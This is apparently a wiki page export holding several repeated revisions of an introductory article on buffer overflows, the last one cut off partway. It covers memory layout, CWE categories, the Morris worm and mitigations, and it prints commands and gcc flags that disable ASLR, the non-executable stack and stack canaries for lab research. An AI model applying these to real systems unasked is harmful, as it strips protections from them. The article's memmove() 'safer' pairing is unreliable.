* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:43:58Z

AKofranek: /* Buffer Over-Read */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:43:41Z

AKofranek: /* Buffer Over-Read */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:40:14Z

AKofranek: /* The Stack and Important Control Structures */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

